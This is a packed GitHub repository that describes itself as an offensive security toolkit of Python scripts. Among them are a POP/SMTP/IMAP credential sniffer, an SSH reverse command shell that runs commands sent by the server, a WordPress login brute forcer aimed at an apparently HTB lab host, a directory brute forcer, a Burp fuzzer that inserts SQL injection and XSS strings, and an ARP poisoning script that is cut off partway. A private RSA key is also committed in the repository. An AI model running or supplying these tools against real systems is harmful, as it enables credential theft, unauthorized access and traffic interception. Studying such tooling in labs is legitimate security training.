├── .gitignore ├── arper.pcap ├── .vscode ├── .ropeproject │ ├── objectdb │ └── config.py └── settings.json ├── __pycache__ └── test3.cpython-38.pyc ├── tcp_client.py ├── mail_sniffer.py ├── README.md ├── sniffer.py ├── server.py ├── ssh_cmd.py ├── .test_rsa.key ├── detector.py ├── ssh_rcmd.py ├── mapper.py ├── bruter.py ├── ssh_server.py ├── decoder.py ├── wp_killer.py ├── bhp_fuzzer.py ├── recapper.py ├── sniffer_with_icmp.py ├── bhp_bing.py ├── arper.py ├── scanner.py ├── proxy.py └── netcat.py /.gitignore: -------------------------------------------------------------------------------- 1 | wordpress 2 | myanswers.txt 3 | wordlist.txt 4 | -------------------------------------------------------------------------------- /arper.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/self-m4de/Python-Sec-Tool-Suite/HEAD/arper.pcap -------------------------------------------------------------------------------- /.vscode/.ropeproject/objectdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/self-m4de/Python-Sec-Tool-Suite/HEAD/.vscode/.ropeproject/objectdb -------------------------------------------------------------------------------- /__pycache__/test3.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/self-m4de/Python-Sec-Tool-Suite/HEAD/__pycache__/test3.cpython-38.pyc -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "python.linting.pylintEnabled": true, 3 | "python.linting.enabled": true, 4 | "python.pythonPath": "/usr/bin/python3" 5 | } -------------------------------------------------------------------------------- /tcp_client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | target_host = "127.0.0.1" 4 | target_port = 9998 5 | 6 | # create a socket object 7 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | 9 | # connect the client 10 | client.connect((target_host,target_port)) 11 | 12 | # send some data 13 | client.send(b"GET / HTTP/1.1 \r\nHost: hacker.com\r\n\r\n") 14 | 15 | # receive some data 16 | response = client.recv(4096) 17 | 18 | print(response.decode()) 19 | client.close() -------------------------------------------------------------------------------- /mail_sniffer.py: -------------------------------------------------------------------------------- 1 | from scapy.all import sniff, TCP, IP 2 | 3 | def packet_callback(packet): 4 | if packet[TCP].payload: 5 | mypacket = str(packet[TCP].payload) 6 | if 'user' in mypacket.lower() or 'pass' in mypacket.lower(): 7 | print(f"[*] Destination: {packet[IP].dst}") 8 | print(f"[*] {str(packet[TCP].payload)}") 9 | 10 | def main(): 11 | sniff(filter='tcp port 110 or tcp port 25 or tcp port 143', 12 | prn=packet_callback, store=0) 13 | 14 | if __name__ == '__main__': 15 | main() -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Python-Sec-Tool-Suite 2 | 3 | ## A collection of offensive security tooling written in Python. 4 | 5 | Especially useful for engagements in situations were you do not have access to regular tooling, but have access to Python. 6 | 7 | ### Includes: 8 | - Web Form Login Brute Forcer 9 | - Wordpress Mapper 10 | - Subdirectory Brute Forcer 11 | - Arp Cache Poisoning 12 | - Mail Sniffer 13 | - AI Face Detection 14 | - PCAP Processor 15 | - Subnet Scanner 16 | - Sniffer 17 | - IP Header Decoder 18 | - ICMP Sniffer 19 | - Netcat 20 | - Proxy 21 | - SSH Client/Server 22 | - TCP Client/Server 23 | - UDP Client 24 | -------------------------------------------------------------------------------- /sniffer.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | 4 | HOST = '192.168.1.206' 5 | 6 | def main(): 7 | if os.name == 'nt': 8 | socket_protocol = socket.IPPROTO_IP 9 | else: 10 | socket_protocol = socket.IPPROTO_ICMP 11 | 12 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 13 | sniffer.bind((HOST, 0)) 14 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 15 | 16 | if os.name == 'nt': 17 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 18 | 19 | print(sniffer.recvfrom(65565)) 20 | 21 | if os.name == 'nt': 22 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 23 | 24 | 25 | if __name__ == '__main__': 26 | main() -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | 4 | IP = '0.0.0.0' 5 | PORT = 9998 6 | 7 | def main(): 8 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 9 | server.bind((IP, PORT)) 10 | server.listen(5) 11 | print(f'[*] Listening on {IP}:{PORT}') 12 | 13 | while True: 14 | client, address = server.accept() 15 | print(f'[*] Accepted connection from {address[0]}:{address[1]}') 16 | client_handler = threading.Thread(target=handle_client, args=(client,)) 17 | client_handler.start() 18 | 19 | def handle_client(client_socket): 20 | with client_socket as sock: 21 | request = sock.recv(1024) 22 | print(f'[*] Received: {request.decode("utf-8")}') 23 | #sock.send(b'ACK') 24 | sock.send(b'HTTP/1.1 200 OK') 25 | 26 | if __name__ == '__main__': 27 | main() -------------------------------------------------------------------------------- /ssh_cmd.py: -------------------------------------------------------------------------------- 1 | import paramiko 2 | 3 | def ssh_command(ip, port, user, passwd, cmd): 4 | client = paramiko.SSHClient() 5 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 6 | client.connect(ip, port=port, username=user, password=passwd) 7 | 8 | _, stdout, stderr = client.exec_command(cmd) 9 | output = stdout.readlines() + stderr.readlines() 10 | if output: 11 | print('--- Output ---') 12 | for line in output: 13 | print(line.strip()) 14 | 15 | if __name__ == '__main__': 16 | import getpass 17 | # user = getpass.getuser() 18 | user = input('Username: ') 19 | password = getpass.getpass() 20 | 21 | ip = input('Enter server IP: ') or '192.168.1.203' 22 | port = input('Enter port or : ') or 2222 23 | cmd = input('Enter command or : ') or 'id' 24 | ssh_command(ip, port, user, password, cmd) -------------------------------------------------------------------------------- /.test_rsa.key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIICWgIBAAKBgQDTj1bqB4WmayWNPB+8jVSYpZYk80Ujvj680pOTh2bORBjbIAyz 3 | oWGW+GUjzKxTiiPvVmxFgx5wdsFvF03v34lEVVhMpouqPAYQ15N37K/ir5XY+9m/ 4 | d8ufMCkjeXsQkKqFbAlQcnWMCRnOoPHS3I4vi6hmnDDeeYTSRvfLbW0fhwIBIwKB 5 | gBIiOqZYaoqbeD9OS9z2K9KR2atlTxGxOJPXiP4ESqP3NVScWNwyZ3NXHpyrJLa0 6 | EbVtzsQhLn6rF+TzXnOlcipFvjsem3iYzCpuChfGQ6SovTcOjHV9z+hnpXvQ/fon 7 | soVRZY65wKnF7IAoUwTmJS9opqgrN6kRgCd3DASAMd1bAkEA96SBVWFt/fJBNJ9H 8 | tYnBKZGw0VeHOYmVYbvMSstssn8un+pQpUm9vlG/bp7Oxd/m+b9KWEh2xPfv6zqU 9 | avNwHwJBANqzGZa/EpzF4J8pGti7oIAPUIDGMtfIcmqNXVMckrmzQ2vTfqtkEZsA 10 | 4rE1IERRyiJQx6EJsz21wJmGV9WJQ5kCQQDwkS0uXqVdFzgHO6S++tjmjYcxwr3g 11 | H0CoFYSgbddOT6miqRskOQF3DZVkJT3kyuBgU2zKygz52ukQZMqxCb1fAkASvuTv 12 | qfpH87Qq5kQhNKdbbwbmd2NxlNabazPijWuphGTdW0VfJdWfklyS2Kr+iqrs/5wV 13 | HhathJt636Eg7oIjAkA8ht3MQ+XSl9yIJIS8gVpbPxSw5OMfw0PjVE7tBdQruiSc 14 | nvuQES5C9BMHjF39LZiGH1iLQy7FgdHyoP+eodI7 15 | -----END RSA PRIVATE KEY----- 16 | -------------------------------------------------------------------------------- /detector.py: -------------------------------------------------------------------------------- 1 | from pprint import pprint 2 | from cv2 import cv2 3 | import os 4 | 5 | ROOT = '/root/Desktop/pictures' 6 | FACES = '/root/Desktop/faces' 7 | TRAIN = '/root/Desktop/training' 8 | 9 | def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN): 10 | for fname in os.listdir(srcdir): 11 | if not fname.upper().endswith('.JPG'): 12 | continue 13 | fullname = os.path.join(srcdir, fname) 14 | newname = os.path.join(tgtdir, fname) 15 | img = cv2.imread(fullname) 16 | if img is None: 17 | continue 18 | 19 | gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) 20 | training = os.path.join(train_dir, 'haarcascade_frontalface_alt.xml') 21 | cascade = cv2.CascadeClassifier(training) 22 | rects = cascade.detectMultiScale(gray, 1.3, 5) 23 | try: 24 | if rects.any(): 25 | print('got a face') 26 | rects[:, 2:] += rects[:, :2] 27 | except AttributeError: 28 | print(f'No faces found in {fname}') 29 | continue 30 | # highlight the faces in the image 31 | for x1, y1, x2, y2 in rects: 32 | cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2) 33 | cv2.imwrite(newname, img) 34 | 35 | if __name__ == '__main__': 36 | detect() -------------------------------------------------------------------------------- /ssh_rcmd.py: -------------------------------------------------------------------------------- 1 | import paramiko 2 | import shlex 3 | import subprocess 4 | 5 | def ssh_command(ip, port, user, passwd, command): 6 | client = paramiko.SSHClient() 7 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 8 | client.connect(ip, port=port, username=user, password=passwd) 9 | 10 | ssh_session = client.get_transport().open_session() 11 | if ssh_session.active: 12 | ssh_session.send(command) 13 | print(ssh_session.recv(1024).decode()) # read banner 14 | while True: 15 | command = ssh_session.recv(1024) 16 | try: 17 | cmd = command.decode() 18 | if cmd == 'exit': 19 | client.close() 20 | break 21 | cmd_output = subprocess.check_output(cmd, shell=True) 22 | ssh_session.send(cmd_output or 'okay') 23 | except Exception as e: 24 | ssh_session.send(str(e)) 25 | client.close() 26 | return 27 | 28 | if __name__ == '__main__': 29 | import getpass 30 | # user = getpass.getuser() 31 | user = input('Enter username: ') 32 | password = getpass.getpass() 33 | 34 | ip = input('Enter server IP: ') 35 | port = input('Enter port: ') 36 | ssh_command(ip, port, user, password, 'ClientConnected') -------------------------------------------------------------------------------- /mapper.py: -------------------------------------------------------------------------------- 1 | import contextlib 2 | import os 3 | import queue 4 | import requests 5 | import sys 6 | import threading 7 | import time 8 | 9 | FILTERS = [".jpg", ".gif", ".png", ".css"] 10 | TARGET = "http://spectra.htb/main" 11 | THREADS = 10 12 | 13 | answers = queue.Queue() 14 | web_paths = queue.Queue() 15 | 16 | def gather_paths(): 17 | for root, _, files in os.walk('.'): 18 | for fname in files: 19 | if os.path.splitext(fname)[1] in FILTERS: 20 | continue 21 | path = os.path.join(root, fname) 22 | if path.startswith('.'): 23 | path = path[1:] 24 | print(path) 25 | web_paths.put(path) 26 | 27 | @contextlib.contextmanager 28 | def chdir(path): 29 | """ 30 | On enter, change directory to specified path. 31 | On exit, change directory to original. 32 | """ 33 | this_dir = os.getcwd() 34 | os.chdir(path) 35 | try: 36 | yield 37 | finally: 38 | os.chdir(this_dir) 39 | 40 | def test_remote(): 41 | while not web_paths.empty(): 42 | path = web_paths.get() 43 | url = f'{TARGET}{path}' 44 | time.sleep(2) 45 | r = requests.get(url) 46 | if r.status_code == 200: 47 | answers.put(url) 48 | sys.stdout.write('+') 49 | else: 50 | sys.stdout.write('x') 51 | sys.stdout.flush() 52 | 53 | def run(): 54 | mythreads = list() 55 | for i in range(THREADS): 56 | print(f'Spawning thread {i}') 57 | t = threading.Thread(target=test_remote) 58 | mythreads.append(t) 59 | t.start() 60 | 61 | for thread in mythreads: 62 | thread.join() 63 | 64 | if __name__ == '__main__': 65 | with chdir("/opt/scripts/wordpress"): 66 | gather_paths() 67 | input('Press ENTER to continue...') 68 | run() 69 | with open('myanswers.txt', 'w') as f: 70 | while not answers.empty(): 71 | f.write(f'{answers.get()}\n') 72 | print('done') -------------------------------------------------------------------------------- /bruter.py: -------------------------------------------------------------------------------- 1 | import queue 2 | import requests 3 | import sys 4 | import threading 5 | from termcolor import colored, cprint 6 | 7 | AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0" 8 | EXTENSIONS = ['.php', '.bak', '.orig', '.inc'] 9 | TARGET = "http://testphp.vulnweb.com" 10 | THREADS = 50 11 | WORDLIST = "/usr/share/seclists/Discovery/Web-Content/raft-small-words.txt" 12 | 13 | def get_words(resume=None): 14 | def extend_words(word): 15 | if "." in word: 16 | words.put(f'/{word}') 17 | else: 18 | words.put(f'/{word}/') 19 | 20 | for extension in EXTENSIONS: 21 | words.put(f'/{word}{extension}') 22 | 23 | with open(WORDLIST) as f: 24 | raw_words = f.read() 25 | found_resume = False 26 | words = queue.Queue() 27 | for word in raw_words.split(): 28 | if resume is not None: 29 | if found_resume: 30 | extend_words(word) 31 | elif word == resume: 32 | found_resume = True 33 | print(f'Resuming wordlist from: {resume}') 34 | else: 35 | print(word) 36 | extend_words(word) 37 | return words 38 | 39 | def dir_bruter(words): 40 | headers = {'User-Agent': AGENT} 41 | while not words.empty(): 42 | url = f'{TARGET}{words.get()}' 43 | try: 44 | r = requests.get(url, headers=headers) 45 | except requests.exceptions.ConnectionError: 46 | sys.stderr.write('x') 47 | sys.stderr.flush() 48 | continue 49 | 50 | if r.status_code == 200: 51 | cprint(f'\nSuccess ({r.status_code}: {url})', 'green') 52 | elif r.status_code == 404: 53 | sys.stderr.write('.') 54 | sys.stderr.flush() 55 | else: 56 | print(f'{r.status_code} => {url}') 57 | 58 | if __name__ == '__main__': 59 | words = get_words() 60 | print('Press ENTER to continue...') 61 | sys.stdin.readline() 62 | for _ in range(THREADS): 63 | t = threading.Thread(target=dir_bruter, args=(words,)) 64 | t.start() -------------------------------------------------------------------------------- /ssh_server.py: -------------------------------------------------------------------------------- 1 | import os 2 | import paramiko 3 | import socket 4 | import sys 5 | import threading 6 | 7 | CWD = os.path.dirname(os.path.realpath(__file__)) 8 | HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, '.test_rsa.key')) 9 | 10 | class Server (paramiko.ServerInterface): 11 | def __init__(self): 12 | self.event = threading.Event() 13 | 14 | def check_channel_request(self, kind, chanid): 15 | if kind == 'session': 16 | return paramiko.OPEN_SUCCEEDED 17 | return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED 18 | 19 | def check_auth_password(self, username, password): 20 | if (username == 'tim') and (password == 'sekret'): 21 | return paramiko.AUTH_SUCCESSFUL 22 | 23 | if __name__ == '__main__': 24 | server = '192.168.1.103' 25 | ssh_port = 2222 26 | try: 27 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 28 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 29 | sock.bind((server, ssh_port)) 30 | sock.listen(100) 31 | print('[+] Listening for connection ...') 32 | client, addr = sock.accept() 33 | except Exception as e: 34 | print('[-] Listen failed: ' + str(e)) 35 | sys.exit(1) 36 | else: 37 | print(f'[+] Got a connection! from {addr}') 38 | 39 | bhSession = paramiko.Transport(client) 40 | bhSession.add_server_key(HOSTKEY) 41 | server = Server() 42 | bhSession.start_server(server=server) 43 | 44 | chan = bhSession.accept(20) 45 | if chan is None: 46 | print('*** No channel.') 47 | sys.exit(1) 48 | 49 | print('[+] Authenticated!') 50 | print(chan.recv(1024).decode()) 51 | chan.send('Welcome to bh_ssh') 52 | try: 53 | while True: 54 | command = input("Enter command: ") 55 | if command != 'exit': 56 | chan.send(command) 57 | r = chan.recv(8192) 58 | print(r.decode()) 59 | else: 60 | chan.send('exit') 61 | print('exiting') 62 | bhSession.close() 63 | break 64 | except KeyboardInterrupt: 65 | bhSession.close() -------------------------------------------------------------------------------- /decoder.py: -------------------------------------------------------------------------------- 1 | import ipaddress 2 | import os 3 | import socket 4 | import struct 5 | import sys 6 | 7 | class IP: 8 | def __init__(self, buff=None): 9 | header = struct.unpack('> 4 11 | self.ihl= header[0] & 0xF 12 | 13 | self.tos = header[1] 14 | self.len = header[2] 15 | self.id = header[3] 16 | self.offset = header[4] 17 | self.ttl = header[5] 18 | self.protocol_num = header[6] 19 | self.sum = header[7] 20 | self.src = header[8] 21 | self.dst = header[9] 22 | 23 | # human readable IP addresses 24 | self.src_address = ipaddress.ip_address(self.src) 25 | self.dst_address = ipaddress.ip_address(self.dst) 26 | 27 | # map protocol constants to their names 28 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 29 | try: 30 | self.protocol = self.protocol_map[self.protocol_num] 31 | except Exception as e: 32 | print('%s No protocol for %s' % (e, self.protocol_num)) 33 | self.protocol = str(self.protocol_num) 34 | 35 | def sniff(host): 36 | if os.name == 'nt': 37 | socket_protocol = socket.IPPROTO_IP 38 | else: 39 | socket_protocol = socket.IPPROTO_ICMP 40 | 41 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 42 | sniffer.bind((host, 0)) 43 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 44 | 45 | if os.name == 'nt': 46 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 47 | 48 | try: 49 | while True: 50 | raw_buffer = sniffer.recvfrom(65535)[0] 51 | ip_header = IP(raw_buffer[0:20]) 52 | print('Protocol: %s %s -> %s' % (ip_header, ip_header.src_address, ip_header.dst_address)) 53 | # print(f'Version: {ip_header.ver} Header Length: {ip_header.ihl} TTL: {ip_header.ttl}') 54 | 55 | except KeyboardInterrupt: 56 | if os.name == 'nt': 57 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 58 | sys.exit 59 | 60 | if __name__ == '__main__': 61 | if len(sys.argv) == 2: 62 | host = sys.argv[1] 63 | else: 64 | host = '10.0.2.15' 65 | sniff(host) -------------------------------------------------------------------------------- /wp_killer.py: -------------------------------------------------------------------------------- 1 | from io import BytesIO 2 | from lxml import etree 3 | from queue import Queue 4 | 5 | import requests 6 | import sys 7 | import threading 8 | import time 9 | 10 | SUCCESS = 'Welcome to WordPress!' 11 | TARGET = "http://apocalyst.htb/wp-login.php" 12 | WORDLIST = 'wordlist.txt' 13 | 14 | 15 | def get_words(): 16 | with open(WORDLIST) as f: 17 | raw_words = f.read() 18 | 19 | words = Queue() 20 | for word in raw_words.split(): 21 | words.put(word) 22 | return words 23 | 24 | 25 | def get_params(content): 26 | params = dict() 27 | parser = etree.HTMLParser() 28 | tree = etree.parse(BytesIO(content), parser=parser) 29 | for elem in tree.findall('//input'): 30 | name = elem.get('name') 31 | if name is not None: 32 | params[name] = elem.get('value', None) 33 | return params 34 | 35 | 36 | class Bruter: 37 | def __init__(self, username, url): 38 | self.username = username 39 | self.url = url 40 | self.found = False 41 | print(f'\nBrute Force Attack beginning on {url}.\n') 42 | print("Finished the setup where username = %s\n" % username) 43 | 44 | def run_bruteforce(self, passwords): 45 | for _ in range(10): 46 | t = threading.Thread(target=self.web_bruter, args=(passwords,)) 47 | t.start() 48 | 49 | def web_bruter(self, passwords): 50 | session = requests.Session() 51 | resp0 = session.get(self.url) 52 | params = get_params(resp0.content) 53 | params['log'] = self.username 54 | 55 | while not passwords.empty() and not self.found: 56 | time.sleep(5) 57 | passwd = passwords.get() 58 | print(f'Trying username/password {self.username}/{passwd:<10}') 59 | params['pwd'] = passwd 60 | resp1 = session.post(self.url, data=params) 61 | 62 | if SUCCESS in resp1.content.decode(): 63 | print(f"\nBruteforcing successful.") 64 | print("Username is %s" % self.username) 65 | print("Password is %s\n" % passwd) 66 | self.found = True 67 | 68 | 69 | if __name__ == '__main__': 70 | b = Bruter('falaraki', TARGET) 71 | words = get_words() 72 | b.run_bruteforce(words) 73 | -------------------------------------------------------------------------------- /bhp_fuzzer.py: -------------------------------------------------------------------------------- 1 | from burp import IBurpExtender 2 | from burp import IIntruderPayloadGeneratorFactory 3 | from burp import IIntruderPayloadGenerator 4 | from java.util import List, ArrayList 5 | import random 6 | 7 | class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory): 8 | def registerExtenderCallbacks(self, callbacks): 9 | self.callbacks = callbacks 10 | self._helpers = callbacks.getHelpers() 11 | 12 | callbacks.registerIntruderPayloadGeneratorFactory(self) 13 | return 14 | 15 | def getGeneratorName(self): 16 | return 'BHP Payload Generator' 17 | 18 | def createNewInstance(self, attack): 19 | return BHPFuzzer(self, attack) 20 | 21 | class BHPFuzzer(IIntruderPayloadGenerator): 22 | def __init__(self, extender, attack): 23 | self.extender = extender 24 | self.helpers = extender._helpers 25 | self.attack = attack 26 | self.max_payloads = 10 27 | self.num_iterations = 0 28 | 29 | return 30 | 31 | def hasMorePayloads(self): 32 | if self.num_iterations == self.max_payloads: 33 | return False 34 | else: 35 | return True 36 | 37 | def getNextPayload(self, current_payload): 38 | # convert byte array to string 39 | payload = ''.join(chr(x) for x in current_payload) 40 | payload = self.mutate_payload(payload) 41 | self.num_iterations += 1 42 | 43 | return payload 44 | 45 | def reset(self): 46 | self.num_iterations = 0 47 | return 48 | 49 | def mutate_payload(self, original_payload): 50 | # pick a simple mutator or even call an external script 51 | picker = random.randint(1, 3) 52 | 53 | # select a random offset in the payload to mutate 54 | offset = random.randint(0, len(original_payload) - 1) 55 | front, back = original_payload[:offset], original_payload[offset:] 56 | 57 | # random offset insert a SQL injection attempt 58 | if picker == 1: 59 | front += "'" 60 | # jam an XSS attempt in 61 | elif picker == 2: 62 | front += "" 63 | # repeat a random chunk of the original payload 64 | elif picker == 3: 65 | chunk_length = random.randint(0, len(back)-1) 66 | repeater = random.randint(1, 10) 67 | for _ in range(repeater): 68 | front += original_payload[:offset + chunk_length] 69 | 70 | return front + back -------------------------------------------------------------------------------- /recapper.py: -------------------------------------------------------------------------------- 1 | from scapy.all import TCP, rdpcap 2 | import collections 3 | import os 4 | import re 5 | import sys 6 | import zlib 7 | 8 | OUTDIR = '/home/kali/Desktop/pictures/' 9 | PCAPS = '/home/kali/Downloads/' 10 | 11 | Response = collections.namedtuple('Response', ['header', 'payload']) 12 | 13 | 14 | def get_header(payload): 15 | try: 16 | header_raw = payload[:payload.index(b'\r\n\r\n')+2] 17 | except ValueError: 18 | sys.stdout.write('-') 19 | sys.stdout.flush() 20 | return None 21 | 22 | header = dict(re.findall(r'(?P.*?): (?P.*?)\r\n', header_raw.decode())) 23 | if 'Content-Type' not in header: 24 | return None 25 | return header 26 | 27 | 28 | def extract_content(Response, content_name='image'): 29 | content, content_type = None, None 30 | if content_name in Response.header['Content-Type']: 31 | content_type = Response.header['Content-Type'].split('/')[1] 32 | content = Response.payload[Response.payload.index(b'\r\n\r\n')+4:] 33 | 34 | if 'Content-Encoding' in Response.header: 35 | if Response.header['Content-Encoding'] == "gzip": 36 | content = zlib.decompress(Response.payload, zlib.MAX_WBITS | 32) 37 | elif Response.header['Content-Encoding'] == "deflate": 38 | content = zlib.decompress(Response.payload) 39 | 40 | return content, content_type 41 | 42 | 43 | class Recapper: 44 | def __init__(self, fname): 45 | pcap = rdpcap(fname) 46 | self.sessions = pcap.sessions() 47 | self.responses = list() 48 | 49 | def get_responses(self): 50 | for session in self.sessions: 51 | payload = b'' 52 | for packet in self.sessions[session]: 53 | try: 54 | if packet[TCP].dport == 80 or packet[TCP].sport == 80: 55 | payload += bytes(packet[TCP].payload) 56 | except IndexError: 57 | sys.stdout.write('x') 58 | sys.stdout.flush() 59 | 60 | if payload: 61 | header = get_header(payload) 62 | if header is None: 63 | continue 64 | self.responses.append(Response(header=header, payload=payload)) 65 | 66 | def write(self, content_name): 67 | for i, response in enumerate(self.responses): 68 | content, content_type = extract_content(response, content_name) 69 | if content and content_type: 70 | fname = os.path.join(OUTDIR, f'ex_{i}.{content_type}') 71 | print(f'Writing {fname}') 72 | with open(fname, 'wb') as f: 73 | f.write(content) 74 | 75 | 76 | if __name__ == '__main__': 77 | pfile = os.path.join(PCAPS, 'pcap.pcap') 78 | recapper = Recapper(pfile) 79 | recapper.get_responses() 80 | recapper.write('image') 81 | -------------------------------------------------------------------------------- /sniffer_with_icmp.py: -------------------------------------------------------------------------------- 1 | import ipaddress 2 | import os 3 | import socket 4 | import struct 5 | import sys 6 | 7 | class IP: 8 | def __init__(self, buff=None): 9 | header = struct.unpack('> 4 11 | self.ihl= header[0] & 0xF 12 | 13 | self.tos = header[1] 14 | self.len = header[2] 15 | self.id = header[3] 16 | self.offset = header[4] 17 | self.ttl = header[5] 18 | self.protocol_num = header[6] 19 | self.sum = header[7] 20 | self.src = header[8] 21 | self.dst = header[9] 22 | 23 | # human readable IP addresses 24 | self.src_address = ipaddress.ip_address(self.src) 25 | self.dst_address = ipaddress.ip_address(self.dst) 26 | 27 | # map protocol constants to their names 28 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 29 | try: 30 | self.protocol = self.protocol_map[self.protocol_num] 31 | except Exception as e: 32 | print('%s No protocol for %s' % (e, self.protocol_num)) 33 | self.protocol = str(self.protocol_num) 34 | 35 | class ICMP: 36 | def __init__(self, buff): 37 | header = struct.unpack(' %s' % (ip_header, ip_header.src_address, ip_header.dst_address)) 63 | print(f'Version: {ip_header.ver} Header Length: {ip_header.ihl} TTL: {ip_header.ttl}') 64 | 65 | # calculate where out ICMP packet starts 66 | offset = ip_header.ihl * 4 67 | buf = raw_buffer[offset:offset + 8] 68 | icmp_header = ICMP(buf) 69 | print('ICMP -> Type: %s Code: %s\n' % (icmp_header.type, icmp_header.code)) 70 | 71 | except KeyboardInterrupt: 72 | if os.name == 'nt': 73 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 74 | sys.exit 75 | 76 | if __name__ == '__main__': 77 | if len(sys.argv) == 2: 78 | host = sys.argv[1] 79 | else: 80 | host = '10.0.2.15' 81 | sniff(host) -------------------------------------------------------------------------------- /bhp_bing.py: -------------------------------------------------------------------------------- 1 | from burp import IBurpExtender 2 | from burp import IContextMenuFactory 3 | 4 | from java.net import URL 5 | from java.util import ArrayList 6 | from javax.swing import JMenuItem 7 | from thread import start_new_thread 8 | 9 | import json 10 | import socket 11 | import urllib 12 | 13 | API_KEY = 'API KEY' 14 | API_HOST = 'api.bing.microsoft.com' 15 | 16 | 17 | class BurpExtender(IBurpExtender, IContextMenuFactory): 18 | def registerExtenderCallbacks(self, callbacks): 19 | self._callbacks = callbacks 20 | self._helpers = callbacks.getHelpers() 21 | self.context = None 22 | callbacks.setExtensionName('BHP Bing') 23 | callbacks.registerContextMenuFactory(self) 24 | return 25 | 26 | def createMenuItems(self, context_menu): 27 | self.context = context_menu 28 | menu_list = ArrayList() 29 | menu_list.add(JMenuItem('Send to Bing', actionPerformed=self.bing_menu)) 30 | return menu_list 31 | 32 | def bing_menu(self, event): 33 | http_traffic = self.context.getSelectedMessages() 34 | print('%d requests highlighted' % len(http_traffic)) 35 | 36 | for traffic in http_traffic: 37 | http_service = traffic.getHttpService() 38 | host = http_service.getHost() 39 | print('User selected host: %s' % host) 40 | self.bing_search(host) 41 | return 42 | 43 | def bing_search(self, host): 44 | try: 45 | is_ip = bool(socket.inet_aton(host)) 46 | except socket.error: 47 | is_ip = False 48 | 49 | if is_ip: 50 | ip_address = host 51 | domain = False 52 | else: 53 | ip_address = socket.gethostbyname(host) 54 | domain = True 55 | start_new_thread(self.bing_query, ('ip:%s' % ip_address,)) 56 | if domain: 57 | start_new_thread(self.bing_query, ('domain:%s' % host,)) 58 | 59 | def bing_query(self, bing_query_string): 60 | print('Performing Bing search: %s' % bing_query_string) 61 | http_request = 'GET https://%s/v7.0/search?' % API_HOST 62 | http_request += 'q=%s HTTP/1.1\r\n' % urllib.quote(bing_query_string) 63 | http_request += 'Host: %s' % API_HOST 64 | http_request += 'Connection:close\r\n' 65 | http_request += 'Ocp-Apim-Subscription-Key: %s\r\n' % API_KEY 66 | http_request += 'User-Agent: Black Hat Python\r\n\r\n' 67 | 68 | json_body = self._callbacks.makeHttpRequest(API_HOST, 443, True, 69 | http_request).tostring() 70 | json_body = json_body.split('\r\n\r\n', 1)[1] 71 | try: 72 | response = json.loads(json_body) 73 | except (TypeError, ValueError) as err: 74 | print('No results from Bing: %s' % err) 75 | else: 76 | sites = list() 77 | if response.get('webPages'): 78 | sites = response['webPages']['value'] 79 | if len(sites): 80 | for site in sites: 81 | print('*'*100) 82 | print('Name: %s ' % site['name']) 83 | print('URL: %s ' % site['url']) 84 | print('Description: %r' % site['snippet']) 85 | print('*'*100) 86 | 87 | java_url = URL(site['url']) 88 | if not self._callbacks.isInScope(java_url): 89 | print('Adding %s to Burp scope' % site['url']) 90 | self._callbacks.includeInScope(java_url) 91 | else: 92 | print('Empty response from Bing.: %s' % bing_query_string) 93 | return -------------------------------------------------------------------------------- /arper.py: -------------------------------------------------------------------------------- 1 | from multiprocessing import Process 2 | from scapy.all import (ARP, Ether, conf, get_if_hwaddr, send, sniff, sndrcv, srp, wrpcap) 3 | 4 | import os 5 | import sys 6 | import time 7 | 8 | def get_mac(targetip): 9 | packet = Ether(dst='ff:ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip) 10 | resp, _ = srp(packet, timeout=2, retry=10, verbose=False) 11 | for _, r in resp: 12 | return r[Ether].src 13 | return None 14 | 15 | class Arper(): 16 | def __init__(self, victim, gateway, interface='eth0'): 17 | self.victim = victim 18 | self.victimmac = get_mac(victim) 19 | self.gateway = gateway 20 | self.gatewaymac = get_mac(gateway) 21 | self.interface = interface 22 | conf.iface = interface 23 | conf.verb = 0 24 | 25 | print(f'Initialized {interface}:') 26 | print(f'Gateway ({gateway}) is at {self.gatewaymac}.') 27 | print(f'Victim ({victim}) is at {self.victimmac}.') 28 | print('-'*30) 29 | 30 | def run(self): 31 | self.poison_thread = Process(target=self.poison) 32 | self.poison_thread.start() 33 | 34 | self.sniff_thread = Process(target=self.sniff) 35 | self.sniff_thread.start() 36 | 37 | def poison(self): 38 | poison_victim = ARP() 39 | poison_victim.op = 2 40 | poison_victim.psrc = self.gateway 41 | 